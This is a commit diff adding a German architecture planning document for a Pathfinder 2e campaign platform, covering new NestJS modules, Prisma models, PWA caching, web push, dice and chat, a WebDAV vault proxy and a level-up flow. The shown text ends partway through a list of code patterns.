docs(research): synthesize project research
This commit is contained in:
745
.planning/research/ARCHITECTURE.md
Normal file
745
.planning/research/ARCHITECTURE.md
Normal file
@@ -0,0 +1,745 @@
|
||||
# Architecture Patterns
|
||||
|
||||
**Domain:** Dimension47 — TTRPG-Plattform (PF2e), Brownfield-Erweiterung
|
||||
**Researched:** 2026-04-27
|
||||
**Scope:** Additive Architektur für PWA + Multi-Screen-Battle + Dice/Chat + GM-Live-Tools + Obsidian-Vault + Level-Up
|
||||
**Confidence:** HIGH (basiert auf gemappter Bestands-Codebase + bekannten Web-Patterns)
|
||||
|
||||
> Lese-Hinweis: Dieses Dokument ergänzt `.planning/codebase/ARCHITECTURE.md` (Bestand). Es definiert nur, was **neu** dazukommt und wie es sich an bestehende Patterns andockt. Keine Re-Definition existierender Layer.
|
||||
|
||||
---
|
||||
|
||||
## 1. Architektur-Leitplanken (gelten für alles unten)
|
||||
|
||||
Der Bestand zementiert sechs Patterns, die jede neue Komponente respektieren muss:
|
||||
|
||||
1. **NestJS-Modul = Feature-Schnitt**: Jedes neue Feature bekommt ein eigenes Modul unter `server/src/modules/<feature>/` mit `controller.ts`, `service.ts`, optional `gateway.ts`, optional `dto/`. Wird in `app.module.ts` importiert.
|
||||
2. **React-Feature-Schnitt**: Jedes neue UI-Feature bekommt `client/src/features/<feature>/` mit `components/`, optional `hooks/`, `index.ts` als Barrel.
|
||||
3. **Shared Hooks zentralisiert**: WebSocket-Hooks und übergreifende Hooks gehören nach `client/src/shared/hooks/`. Lokale Feature-Hooks bleiben in `features/<feature>/hooks/`.
|
||||
4. **Daten in DB, nicht in JSON**: Jede neue Entity ist Prisma-Modell mit Migration. JSON-Dateien sind nur Seed-Quellen.
|
||||
5. **Migrations statt `db push`**: Schema-Änderungen ausschließlich `prisma migrate dev` mit sprechendem Namen (`add_dice_rolls`, `add_push_subscriptions`).
|
||||
6. **Gateway-Convention**: WebSocket-Gateways nutzen Namespace pro Feature (`/characters`, `/battles`), JWT in `handshake.auth.token`, Room pro Resource-ID, `forwardRef` zwischen Service und Gateway, `Logger` mit Klassennamen.
|
||||
|
||||
Alles weitere folgt aus diesen Leitplanken.
|
||||
|
||||
---
|
||||
|
||||
## 2. Recommended Architecture (additiv, pro Feature)
|
||||
|
||||
### 2.1 Übersicht: Was kommt neu dazu
|
||||
|
||||
```
|
||||
NEU (Backend Module) NEU (Frontend Features) NEU (Prisma Modelle)
|
||||
───────────────────────── ────────────────────── ────────────────────
|
||||
modules/leveling/ features/leveling/ LevelUpSession
|
||||
modules/push/ features/push/ PushSubscription
|
||||
modules/dice/ features/dice/ DiceRoll
|
||||
modules/chat/ features/chat/ ChatMessage
|
||||
modules/vault/ features/vault/ VaultConfig
|
||||
features/battle/display/ VaultNoteCache
|
||||
BattleEffect
|
||||
(BattleSession +turnTokenId)
|
||||
GEÄNDERT
|
||||
─────────────────────────
|
||||
modules/battle/ (neue Events) features/battle/ (display Migrations
|
||||
modules/characters/ (Level-Up route, GM mode flag, init ─────────
|
||||
Hooks ins Service) tracker UI, effects UI) add_level_up_sessions
|
||||
modules/auth/ (vapid, role features/characters/ add_push_subscriptions
|
||||
broadcast helper) (level-up tab/wizard) add_dice_and_chat
|
||||
shared/hooks/ add_battle_effects
|
||||
use-dice-socket.ts add_vault_config
|
||||
use-chat-socket.ts add_battle_session_turn_pointer
|
||||
shared/sw/
|
||||
service-worker.ts (Vite PWA)
|
||||
```
|
||||
|
||||
### 2.2 Neue NestJS-Module (Component Boundaries)
|
||||
|
||||
| Modul | Verantwortung | Exports | Dependencies |
|
||||
|-------|---------------|---------|--------------|
|
||||
| `LevelingModule` | Draft-Session erzeugen, validieren (PF2e-Regeln), commit/abort, Snapshot des Vorher-Stands | `LevelingService` | `CharactersModule` (für Recompute), `FeatsModule`, `PrismaModule` |
|
||||
| `PushModule` | VAPID-Setup, `POST /push/subscribe`, `DELETE /push/subscribe`, `sendToUser`, `sendToCampaign` (Helper für andere Services) | `PushService` | `PrismaModule`, `web-push` lib |
|
||||
| `DiceModule` | PF2e-Notation parsen (`1d20+7`, Crits), Roll persistieren, Broadcast | `DiceService`, `DiceGateway` | `PrismaModule`, `CampaignsModule` (Access-Check) |
|
||||
| `ChatModule` | Append-only Chat-Messages, Pagination, Broadcast, Roll-Embed-Verweis | `ChatService`, `ChatGateway` | `PrismaModule`, `CampaignsModule`, `DiceModule` (für Embed-Lookup) |
|
||||
| `VaultModule` | Vault-Config (per Campaign), Markdown-Liste, Markdown-Read, Wikilink-Resolve, Bild-Proxy, optional Cache-Sweep | `VaultService` | `PrismaModule`, `CampaignsModule`, evtl. `axios`/WebDAV-Client |
|
||||
|
||||
**Geänderte Bestandsmodule:**
|
||||
|
||||
- `CharactersModule`: Bekommt `LevelingModule` als Konsument; eigener Service exponiert `recomputeStatsAfterLevelUp()` als Hook-Punkt; `CharactersGateway` bekommt neuen Update-Type `'level_up_committed'`.
|
||||
- `BattleModule`: `BattleGateway` bekommt neue Events (`effect_added`, `effect_removed`, `effect_updated`, `turn_advanced`, `viewer_role` informativ). `BattleService` bekommt CRUD für `BattleEffect` und Turn-Pointer.
|
||||
- `AuthModule`: Bekommt einen schmalen `BroadcastHelper` (oder dieser lebt im `PushModule`), der Userlisten pro Campaign-Rolle auflöst — wird von Push, Chat, Dice genutzt.
|
||||
|
||||
### 2.3 Neue Prisma-Modelle (kompakt, Felder auf das Wesentliche)
|
||||
|
||||
```prisma
|
||||
// Migration: add_level_up_sessions
|
||||
model LevelUpSession {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
fromLevel Int
|
||||
toLevel Int
|
||||
state String // "DRAFT" | "COMMITTED" | "ABORTED"
|
||||
draft Json // Wahl-Pfad (Boosts, Feats, Skills, Class Features)
|
||||
snapshotBefore Json // Vorher-Stand für Audit/Undo (committed: read-only)
|
||||
createdAt DateTime @default(now())
|
||||
committedAt DateTime?
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
@@index([characterId])
|
||||
@@index([characterId, state])
|
||||
}
|
||||
|
||||
// Migration: add_push_subscriptions
|
||||
model PushSubscription {
|
||||
id String @id @default(uuid())
|
||||
userId String
|
||||
endpoint String @unique // Browser-eindeutig
|
||||
p256dh String
|
||||
authKey String
|
||||
userAgent String?
|
||||
createdAt DateTime @default(now())
|
||||
lastSeenAt DateTime @default(now())
|
||||
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
|
||||
@@index([userId])
|
||||
}
|
||||
|
||||
// Migration: add_dice_and_chat
|
||||
model DiceRoll {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
battleSessionId String? // null → außerhalb des Battle
|
||||
characterId String? // null → GM/anonymer Roll
|
||||
userId String // wer hat gewürfelt
|
||||
expression String // "1d20+7"
|
||||
parsed Json // strukturiertes Parse-Ergebnis
|
||||
rolls Json // [[14], [3], ...] pro Würfel
|
||||
total Int
|
||||
isCrit Boolean @default(false)
|
||||
isFumble Boolean @default(false)
|
||||
label String? // "Athletics check", "Longsword damage"
|
||||
createdAt DateTime @default(now())
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
battleSession BattleSession? @relation(fields: [battleSessionId], references: [id], onDelete: SetNull)
|
||||
character Character? @relation(fields: [characterId], references: [id], onDelete: SetNull)
|
||||
user User @relation(fields: [userId], references: [id])
|
||||
chatMessages ChatMessage[] // Embedding via embedRollId
|
||||
@@index([campaignId, createdAt])
|
||||
@@index([battleSessionId, createdAt])
|
||||
}
|
||||
|
||||
model ChatMessage {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
battleSessionId String?
|
||||
userId String
|
||||
type String // "TEXT" | "SYSTEM" | "GM_PING"
|
||||
body String // Markdown light
|
||||
embedRollId String? // FK auf DiceRoll, falls Roll gepostet wurde
|
||||
recipientUserId String? // gezielte GM-Nachricht; null → an alle in Room
|
||||
createdAt DateTime @default(now())
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
battleSession BattleSession? @relation(fields: [battleSessionId], references: [id], onDelete: SetNull)
|
||||
user User @relation(fields: [userId], references: [id])
|
||||
embedRoll DiceRoll? @relation(fields: [embedRollId], references: [id])
|
||||
@@index([campaignId, createdAt])
|
||||
@@index([battleSessionId, createdAt])
|
||||
}
|
||||
|
||||
// Migration: add_battle_effects + add_battle_session_turn_pointer
|
||||
model BattleEffect {
|
||||
id String @id @default(uuid())
|
||||
battleTokenId String
|
||||
name String
|
||||
nameGerman String?
|
||||
kind String // "BUFF" | "DEBUFF" | "AURA" | "MARKER"
|
||||
value Int? // z.B. Stufe von Frightened
|
||||
rounds Int? // verbleibende Runden, null = unbegrenzt
|
||||
source String?
|
||||
battleToken BattleToken @relation(fields: [battleTokenId], references: [id], onDelete: Cascade)
|
||||
@@index([battleTokenId])
|
||||
}
|
||||
// BattleSession bekommt: turnTokenId String? (welcher Token ist gerade dran)
|
||||
// BattleToken bekommt: effects BattleEffect[]
|
||||
|
||||
// Migration: add_vault_config
|
||||
model VaultConfig {
|
||||
id String @id @default(uuid())
|
||||
campaignId String @unique
|
||||
transport String // "WEBDAV_PROXY" | "GIT_PULL" | "HTTP_DIRECT"
|
||||
endpointUrl String
|
||||
authSecretRef String? // Referenz auf separates Secret-Storage; nicht plain
|
||||
rootPath String? // Subpfad im Vault
|
||||
lastSyncAt DateTime?
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
}
|
||||
|
||||
model VaultNoteCache {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
path String // relative Note-Path z.B. "Lore/Stadt-Ironvale.md"
|
||||
content String // Markdown
|
||||
contentHash String
|
||||
fetchedAt DateTime @default(now())
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
@@unique([campaignId, path])
|
||||
@@index([campaignId])
|
||||
}
|
||||
```
|
||||
|
||||
> Hinweis Push-Storage: VAPID-Public/Private liegen in `.env` (`VAPID_PUBLIC`, `VAPID_PRIVATE`, `VAPID_SUBJECT`). Endpoint-Tabelle hält **nur** Subscriptions, keine Schlüssel.
|
||||
|
||||
---
|
||||
|
||||
## 3. Komponenten-Boundaries pro Feature-Bereich
|
||||
|
||||
### 3.1 Level-Up
|
||||
|
||||
**Backend**
|
||||
- `modules/leveling/leveling.module.ts`
|
||||
- `modules/leveling/leveling.controller.ts`
|
||||
- `POST /characters/:id/level-up/start` → erzeugt `LevelUpSession` (state=DRAFT), kopiert Snapshot
|
||||
- `PATCH /characters/:id/level-up/draft` → Wahl im Draft updaten (idempotent, validiert)
|
||||
- `POST /characters/:id/level-up/commit` → Transaktion: Draft anwenden, Stat-Recompute, state=COMMITTED, Gateway-Broadcast `level_up_committed`
|
||||
- `POST /characters/:id/level-up/abort` → state=ABORTED, kein Charakter-Mutation
|
||||
- `GET /characters/:id/level-up/session` → aktiver DRAFT (für Wizard-Resume)
|
||||
- `leveling.service.ts`: PF2e-Regelvalidierung (Boosts alle 5 Levels, Skill-Increases je Klasse, Feat-Prerequisites, Class-Features pro Level), nutzt `FeatsService`.
|
||||
- **Existierender `CharactersService`** bekommt `applyLevelUp(characterId, draft)` als idempotente Transaktion und `recomputeDerivedStats(characterId)` (HP-Max, Save-Boni, AC-Bonus).
|
||||
- **Existierender `CharactersGateway`** bekommt `level_up_committed` als Update-Type (in `CharacterUpdatePayload['type']` ergänzen).
|
||||
|
||||
**Frontend**
|
||||
- `features/leveling/components/level-up-wizard.tsx` (Modal/Dialog mit Schritten: Class Features → Boosts → Class Feat → Skill Increases → General/Skill Feat → Review)
|
||||
- `features/leveling/components/level-up-step-*.tsx` (ein File pro Step)
|
||||
- `features/leveling/hooks/use-level-up-session.ts` (lokaler Hook, lädt/patchet DRAFT, lokaler optimistischer State)
|
||||
- Trigger sitzt im bestehenden `character-sheet-page.tsx` als „Stufe steigen"-Button neben Level-Anzeige.
|
||||
|
||||
**Datenfluss (User klickt „Stufe steigen" → andere Spieler sehen neuen Level):**
|
||||
```
|
||||
[character-sheet-page] "Stufe steigen"
|
||||
└─ POST /characters/:id/level-up/start (LevelingController)
|
||||
└─ LevelUpSession DRAFT erzeugt (LevelingService → Prisma)
|
||||
◀─ Wizard öffnet
|
||||
[Wizard Step] User wählt Boost/Feat
|
||||
└─ PATCH /characters/:id/level-up/draft (validiert, kein Char-Mutate)
|
||||
◀─ aktualisierter Draft zurück
|
||||
[Wizard Review] User klickt „Bestätigen"
|
||||
└─ POST /characters/:id/level-up/commit
|
||||
└─ Transaktion:
|
||||
• LevelingService.commit(draft)
|
||||
• CharactersService.applyLevelUp(...)
|
||||
• CharactersService.recomputeDerivedStats(...)
|
||||
• CharactersGateway.broadcast({type:'level_up_committed', data:{level, hpMax, ...}})
|
||||
◀─ neuer Charakter-State
|
||||
[andere Clients] hören 'level_up_committed' via use-character-socket
|
||||
└─ React Query invalidate(character) + UI Refresh
|
||||
```
|
||||
|
||||
### 3.2 PWA + Service Worker
|
||||
|
||||
**Frontend (zentral, kein eigenes Feature-Modul, aber dedizierte Files)**
|
||||
- Plugin: `vite-plugin-pwa` in `vite.config.ts`
|
||||
- `client/public/manifest.webmanifest` (Name, Icons, theme_color = `#c26dbc`, display=standalone, start_url=`/`)
|
||||
- `client/src/sw/service-worker.ts` (custom SW via Workbox, von Vite gebündelt)
|
||||
- `client/src/shared/hooks/use-pwa-update.ts` (zeigt „Neue Version verfügbar"-Banner)
|
||||
- `client/src/shared/lib/sw-cache-bridge.ts` (Helper, der über `postMessage` mit dem SW redet — Cache invalidieren bei Socket-Events)
|
||||
|
||||
**Caching-Strategien (pro Route):**
|
||||
|
||||
| Route-Pattern | Strategie | Warum |
|
||||
|---|---|---|
|
||||
| `*.js`, `*.css`, `*.png`, `*.svg` (Vite-Assets) | CacheFirst, immutable | Vite hash-named, sicher cachebar |
|
||||
| `GET /api/equipment*` | StaleWhileRevalidate | 5.482 Items, ändern sich quasi nie, schneller Listen-View |
|
||||
| `GET /api/feats*` | StaleWhileRevalidate | identisch |
|
||||
| `GET /api/campaigns/:id/characters/:id` | NetworkFirst mit 3s-Timeout, fallback Cache | Live-Daten bevorzugt, Offline-Read als Sicherheitsnetz |
|
||||
| `GET /api/campaigns/:id/characters/:id/feats` | NetworkFirst | s.o. |
|
||||
| `GET /api/translations*` | StaleWhileRevalidate | gecached, aber refresh on background |
|
||||
| `GET /api/vault/*` (Markdown) | StaleWhileRevalidate | Vault-Inhalt darf leicht stale sein |
|
||||
| `POST/PATCH/PUT/DELETE *` | NetworkOnly | Mutationen niemals cachen |
|
||||
| `POST /api/auth/*` | NetworkOnly | Auth nie cachen |
|
||||
| `*/socket.io/*` | NetworkOnly (vom SW ausgenommen) | WebSocket geht nicht durch SW-Caching |
|
||||
|
||||
**JWT-Header-Interaktion:** Token kommt aus localStorage/sessionStorage und wird vom API-Client (`shared/lib/api.ts`) als Authorization-Header gesetzt. Der SW darf die Authorization-Header nicht entfernen — Workbox passiert sie standardmäßig durch. **Wichtig**: Antworten mit `Authorization`-Header werden im Cache gespeichert; das ist akzeptabel, weil der SW-Cache pro Browser-Profil ist und der App ohnehin Single-User pro Browser ist (Family-Gaming-Use-Case). Falls mehrere User denselben Browser teilen, muss der Cache bei Login-Wechsel geleert werden (Hook in `useAuthStore.logout()`).
|
||||
|
||||
**Manifest-Hosting:** `client/public/manifest.webmanifest` wird von Vite mit-deployed; in `index.html` als `<link rel="manifest" href="/manifest.webmanifest">`. Icons in `client/public/icons/pwa-*.png` (192, 512, maskable).
|
||||
|
||||
### 3.3 Web Push
|
||||
|
||||
**Backend**
|
||||
- `modules/push/push.module.ts`
|
||||
- `push.controller.ts`:
|
||||
- `POST /push/subscribe` (Body: endpoint, keys.p256dh, keys.auth, userAgent) → upsert auf `endpoint`-unique
|
||||
- `DELETE /push/subscribe/:id` → User entfernt eigenes Device
|
||||
- `GET /push/vapid-public-key` (public, oder beim ersten Bootstrap-Call mitgeben)
|
||||
- `push.service.ts`:
|
||||
- `sendToUser(userId, payload)`
|
||||
- `sendToCampaign(campaignId, role?, payload)` — joined `CampaignMember` + ggf. role-filter
|
||||
- `sendToBattleSession(sessionId, role?, payload)`
|
||||
- **Lifecycle**: Bei Send-Fehler `410 Gone` oder `404` → Subscription löschen. Bei `429` exponential backoff. Bei Erfolg `lastSeenAt = now()`.
|
||||
- TTL pro Push-Typ: GM-Ping = 30s (kurz, soll nicht später schlummernd ankommen), System-Notification = 24h.
|
||||
|
||||
**Frontend**
|
||||
- `features/push/components/notification-permission-prompt.tsx` — wird beim ersten Visit nach Login gezeigt, wenn `Notification.permission === 'default'`.
|
||||
- `features/push/hooks/use-push-subscription.ts` — registriert SW, holt VAPID-Key, abonniert, sendet an `POST /push/subscribe`. Hook idempotent — kein Doppel-Subscribe.
|
||||
|
||||
**GM-Ping-Datenfluss:**
|
||||
```
|
||||
[GM klickt "Ping an alle"]
|
||||
└─ POST /push/ping body:{campaignId, role:'PLAYER', message}
|
||||
└─ PushService.sendToCampaign(...)
|
||||
└─ webPush.sendNotification(sub, payload) je Subscription
|
||||
[Browser] zeigt Notification, klick → öffnet App auf /campaigns/:id
|
||||
```
|
||||
|
||||
### 3.4 Multi-Screen-Battle (GM-Laptop + Tisch-Display)
|
||||
|
||||
**Empfehlung: Option (b) — separate Display-Route + serverseitiger Read-Only-Filter.**
|
||||
|
||||
Begründung gegen die Alternativen:
|
||||
- (a) Same-component mit `mode`-Prop ist anfällig: GM-only-Daten landen im React-Tree des Display-Clients. Ein neugieriger Spieler mit Browser-Devtools könnte sie sehen. **Sicherheit fail.**
|
||||
- (c) BroadcastChannel funktioniert nur same-origin/same-browser-profile. Sobald das Tisch-Display ein eigener Browser/Pi ist (was real ist), bricht das. Plus: kein Persistenz-Vorteil gegenüber WebSocket. **Skaliert nicht.**
|
||||
- (b) Eigene Route `/campaigns/:id/battle/display` mit eigenem Bundle-Subset, Server-API liefert nur reduziertes DTO. Display-Client darf sich mit Auth-Token verbinden, aber Server filtert GM-only-Felder weg (z.B. NPC-statBlock-Klartext, GM-Notizen, Effekt-Quellen). Damit ist Display-Mode auch für Spieler-Devices sicher zugänglich, falls jemand „mein Handy soll auch nur die Map zeigen" nutzt.
|
||||
|
||||
**Backend**
|
||||
- `BattleController`: neuer Endpoint `GET /battles/:id/display-view` → DTO ohne GM-Felder.
|
||||
- `BattleGateway`: bei `joinBattle`-Event akzeptiert `viewerMode: 'GM' | 'DISPLAY'`. Server speichert das pro Socket. Bei Broadcasts unterscheidet Gateway zwei Sub-Rooms: `battle:<id>:gm` und `battle:<id>:display`. Kritische Events (z.B. `gm_note_added`) gehen nur in den GM-Sub-Room.
|
||||
|
||||
**Frontend**
|
||||
- `features/battle/components/battle-display-page.tsx` — eigene Route, kein Sidebar, kein Inventar-Panel, fullscreen Map, große Initiative-Liste, Token-Status nur Public-Felder.
|
||||
- `features/battle/components/battle-page.tsx` (existiert) — bekommt Toolbar-Erweiterungen (Effects-Picker, Initiative-Sortier-UI, „Display-Tab in neuem Fenster öffnen"-Button mit deep-link zu `/campaigns/:id/battle/display?session=X`).
|
||||
- `features/battle/components/initiative-tracker.tsx` (neu) — sortierte Liste, wer ist dran (highlighted), prev/next-Buttons (GM-only).
|
||||
- `features/battle/components/effect-pill.tsx` (neu) — gerendert auf Token + in Display-Liste.
|
||||
- `features/battle/components/effect-add-modal.tsx` (neu, GM-only).
|
||||
|
||||
**Route-Tabelle (Erweiterung von App.tsx):**
|
||||
```
|
||||
+ /campaigns/:id/battle/display → BattleDisplayPage (eigener Layout-Mode, kein Navbar)
|
||||
+ /campaigns/:id/dice → DiceLogPage (oder als Sidebar im Battle/Character-View)
|
||||
+ /campaigns/:id/chat → ChatPage (oder Slide-in-Panel)
|
||||
+ /campaigns/:id/vault → VaultBrowserPage
|
||||
+ /campaigns/:id/vault/* → VaultNotePage (Wildcard-Pfad)
|
||||
```
|
||||
|
||||
### 3.5 Würfeln & Chat
|
||||
|
||||
**Empfehlung: zwei Tabellen + zwei Gateways oder ein gemeinsamer Gateway. Polymorphes Schema (`MessageType` mit verschiedenen Spalten in einem Table) **abgelehnt** — getrennte Tabellen bleiben sauberer (DiceRoll hat strukturierte Daten, ChatMessage ist Text+Embed).**
|
||||
|
||||
**Gateway-Frage:**
|
||||
- Ein **eigener `DiceGateway` (Namespace `/dice`)** und **eigener `ChatGateway` (Namespace `/chat`)** — konsistent mit der Bestands-Architektur (jedes Feature eigener Namespace).
|
||||
- Nicht in `CharactersGateway` einbauen: Character-Updates sind charakter-bezogen (Room = characterId). Chat/Dice sind campaign- und session-bezogen (Room = campaignId oder battleSessionId). Verschiedene Rooms → verschiedene Gateways.
|
||||
|
||||
**Datenmodell-Wahl: getrennte Tabellen, ChatMessage hat `embedRollId` als FK auf DiceRoll.** Vorteile gegenüber polymorphem Schema:
|
||||
- DiceRoll ist append-only, hochfrequent, klar typisiert (`expression`, `total`, `isCrit`).
|
||||
- ChatMessage ist append-only, niederfrequent, Markdown-Body.
|
||||
- Pagination ist pro Tabelle eigenständig (DiceLog vs ChatLog können separat gerendert werden).
|
||||
- Einbettung über FK ist sauber: Chat-Renderer joint optional `embedRoll` und rendert eine Roll-Card.
|
||||
|
||||
**Pagination-Pattern:** Cursor-basiert über `createdAt` + `id` (deterministisch). Endpoint `GET /campaigns/:id/dice?cursor=...&limit=50`. Default 50 letzte Einträge. WebSocket pusht neue Einträge live, Pagination lädt historisch.
|
||||
|
||||
**Frontend**
|
||||
- `features/dice/components/dice-roller.tsx` — Eingabefeld + Quick-Buttons (d20, d4, d6, d8, d10, d12, d100).
|
||||
- `features/dice/components/dice-log.tsx` — Liste der Rolls, virtualisiert für Scroll.
|
||||
- `features/dice/utils/parse-pf2e-notation.ts` — Pure Function: `"1d20+7"` → strukturiert (Anzahl, Sides, Mod). Krit/Fumble erst auf Server berechnet (single source of truth).
|
||||
- `features/chat/components/chat-panel.tsx` — Slide-in / Sidebar, Eingabe + Liste.
|
||||
- `features/chat/components/message-card.tsx` — rendert Text + optionales `embedRoll`.
|
||||
- `shared/hooks/use-dice-socket.ts`, `shared/hooks/use-chat-socket.ts` — analog zu `use-character-socket.ts`.
|
||||
|
||||
### 3.6 Obsidian-Vault (Read-Only)
|
||||
|
||||
**Empfehlung: Transport-Option 1 (WebDAV-Proxy via NestJS) als Default.** Begründung im Vergleich:
|
||||
|
||||
| Option | Browser-Sec | Server-Last | Setup-Komplexität | Auth-Modell | Verdict |
|
||||
|---|---|---|---|---|---|
|
||||
| WebDAV-Proxy via NestJS | Vault nie direkt im Browser, JWT vor allem | Mittel (Stream-Proxy) | Niedrig (libs vorhanden) | Eigener JWT, Vault-Creds in `.env` | **Default** |
|
||||
| Direkter HTTP+CORS | Vault muss CORS-konfigurierbar sein, Auth-Header doppelt | Niedrig | Hoch (CORS, Vault-Auth-Header in Browser) | Vault-Auth direkt im Browser → Token-Leak-Risiko | Verworfen |
|
||||
| Git-Pull periodisch | Vault muss Git-Repo sein | Niedrig nach Pull, hoch bei Pull | Mittel (cron, conflict-handling) | SSH-Key am Server | Optional, wenn Vault Git-basiert |
|
||||
| Snapshot-Upload (Zip) | Sehr sicher | Niedrig | Mittel (User-Workflow) | Kein Vault-Zugriff nötig | Optional, wenn kein Server beim User |
|
||||
|
||||
**Self-hosted Charakter:** User hat eigenen Server. WebDAV-Proxy ist ideal — Vault liegt auf dem User-Server (z.B. Synology, Nextcloud, eigener nginx mit `mod_dav`), NestJS verbindet sich mit Service-Account, Browser sieht nur saubere Dimension47-API. Gleiches Sec-Modell wie Equipment-API.
|
||||
|
||||
**Backend**
|
||||
- `VaultService.list(campaignId, dirPath)` → ruft WebDAV `PROPFIND`, gibt Files+Subdirs zurück.
|
||||
- `VaultService.read(campaignId, filePath)` → ruft WebDAV `GET`, parst Markdown, resolviert `[[Wikilinks]]` per Index-Lookup, gibt `{ content, frontmatter, links: [{name, path?}] }` zurück. Cached in `VaultNoteCache`.
|
||||
- `VaultService.image(campaignId, imagePath)` → streamt Bild über NestJS-Response.
|
||||
- `GET /vault/:campaignId/list?path=...`, `GET /vault/:campaignId/note?path=...`, `GET /vault/:campaignId/image?path=...`, `GET /vault/:campaignId/search?q=...`.
|
||||
|
||||
**Frontend**
|
||||
- `features/vault/components/vault-browser-page.tsx` — Folder-Tree links, Note-Reader rechts.
|
||||
- `features/vault/components/note-renderer.tsx` — `react-markdown` + `remark-gfm` + Custom-Plugin für `[[Wikilink]]` (klickbar zu interner Vault-Route).
|
||||
- `features/vault/utils/wikilink-plugin.ts` — Regex-basierter Remark-Plugin.
|
||||
- `features/vault/hooks/use-vault-note.ts` — React Query, kombiniert mit SW-Cache (StaleWhileRevalidate).
|
||||
|
||||
### 3.7 GM-Live-Tools
|
||||
|
||||
Größtenteils **keine neuen Module**. Existierende `CharactersService.updateHp/addCondition/...` haben bereits GM-Bypass für Owner-Check (`checkCharacterAccess` lässt GM passieren). Was fehlt ist UI:
|
||||
|
||||
**Frontend**
|
||||
- `features/campaigns/components/gm-control-panel.tsx` — Sidebar im `campaign-detail-page.tsx`, listet alle Spieler-Charaktere mit Quick-Actions (HP+/-, Condition setzen, Geld geben, Push-Ping senden).
|
||||
- Re-use existierender Modals: `add-condition-modal`, `add-item-modal`, `hp-control` mit `gmMode`-Prop (zeigt Charakter-Selector).
|
||||
|
||||
**Backend**
|
||||
- `PushService.sendToUser(userId, {type:'GM_PING', message})` für gezielte Pings — bereits in PushModule.
|
||||
- Keine neuen Endpoints — bestehende Character-Endpoints reichen, da GM bereits berechtigt ist.
|
||||
|
||||
---
|
||||
|
||||
## 4. Datenfluss: Übergreifende Patterns
|
||||
|
||||
### 4.1 PWA-Cache-Invalidation bei Socket-Push
|
||||
|
||||
Wenn der SW `/api/.../characters/:id` cached und ein HP-Update via WebSocket reinkommt, ist der Cache veraltet. Lösung **kombiniert**:
|
||||
|
||||
1. **Primärer Pfad — Reaktiv via postMessage:** Beim Empfang eines `character_update`-Events ruft `use-character-socket.ts` einen Helper `invalidateCacheForCharacter(characterId)`, der per `navigator.serviceWorker.controller.postMessage({type:'INVALIDATE', urls:[...]})` an den SW signalisiert. SW löscht die betroffenen Cache-Einträge.
|
||||
|
||||
2. **Sekundärer Pfad — NetworkFirst-Strategie für Live-Daten:** Charakter-Endpoints nutzen NetworkFirst statt StaleWhileRevalidate. Online → frische Daten, Offline → Cache-Fallback. Damit ist auch ohne postMessage-Sync das schlimmste, was passiert, ein 3-Sekunden-Timeout, dann Cache.
|
||||
|
||||
3. **Statische Daten** (Equipment, Feats) bleiben StaleWhileRevalidate — die ändern sich nur bei DB-Reseed, nicht zur Laufzeit.
|
||||
|
||||
**Anti-Pattern explizit ablehnen:** Cache-Bypass „wenn WebSocket connected" zu komplex und race-condition-anfällig. NetworkFirst + postMessage-Invalidation reicht.
|
||||
|
||||
### 4.2 Level-Up Datenfluss (vollständig)
|
||||
|
||||
Bereits in 3.1 oben. Schlüsselpunkte:
|
||||
- DRAFT-State macht Undo trivial (einfach Session löschen, Charakter unverändert).
|
||||
- Commit ist eine einzige Prisma-Transaktion: `applyLevelUp` + `recomputeDerivedStats` + `LevelUpSession.state = COMMITTED` + Gateway-Broadcast.
|
||||
- Snapshot-Before in `LevelUpSession.snapshotBefore` erlaubt theoretisch nachträgliches Undo eines committed Level-Ups (out of scope für jetzt, aber Daten sind da).
|
||||
|
||||
### 4.3 Multi-Screen-Battle Datenfluss
|
||||
|
||||
```
|
||||
[GM-Client] [Display-Client]
|
||||
Socket.io connect Socket.io connect
|
||||
emit 'joinBattle' {id, viewerMode:'GM'} emit 'joinBattle' {id, viewerMode:'DISPLAY'}
|
||||
→ joins room battle:<id>:gm → joins room battle:<id>:display
|
||||
|
||||
[GM klickt "Token bewegen"]
|
||||
PATCH /battles/:id/tokens/:t
|
||||
→ BattleService.moveToken
|
||||
→ BattleGateway.broadcast(sessionId, 'token_moved', ...)
|
||||
→ emit to room battle:<id>:gm ← GM-Client sieht Update
|
||||
→ emit to room battle:<id>:display ← Display-Client sieht Update
|
||||
|
||||
[GM klickt "GM-Notiz hinzufügen" (kein Display-Event)]
|
||||
PATCH /battles/:id/gm-note
|
||||
→ BattleGateway.broadcast(sessionId, 'gm_note_added', ..., onlyRole:'GM')
|
||||
→ emit nur an battle:<id>:gm
|
||||
```
|
||||
|
||||
### 4.4 Dice + Chat Datenfluss
|
||||
|
||||
```
|
||||
[Spieler tippt "1d20+7"]
|
||||
POST /campaigns/:id/dice body:{expression, characterId, label}
|
||||
→ DiceService.roll(...) ← würfelt serverseitig (kein Client-Cheat)
|
||||
→ Prisma DiceRoll insert
|
||||
→ DiceGateway.broadcast(campaignId, 'roll', diceRoll)
|
||||
[alle Clients in Room campaign:<id>]
|
||||
use-dice-socket.ts: onRoll(diceRoll)
|
||||
→ React Query: queryClient.setQueryData(['diceLog', campaignId], (old) => [diceRoll, ...old])
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Patterns to Follow
|
||||
|
||||
### Pattern 1: Neues Feature = neues Modul + neues Feature-Dir
|
||||
**Wann:** Immer für eigenständige Domänen (Push, Dice, Chat, Vault, Leveling).
|
||||
**Beispiel:**
|
||||
```ts
|
||||
// server/src/modules/dice/dice.module.ts
|
||||
@Module({
|
||||
imports: [PrismaModule, AuthModule, CampaignsModule],
|
||||
controllers: [DiceController],
|
||||
providers: [DiceService, DiceGateway],
|
||||
exports: [DiceService],
|
||||
})
|
||||
export class DiceModule {}
|
||||
```
|
||||
|
||||
### Pattern 2: Gateway-Authentifizierung (existiert, weiter nutzen)
|
||||
**Wann:** Jeder neue Gateway.
|
||||
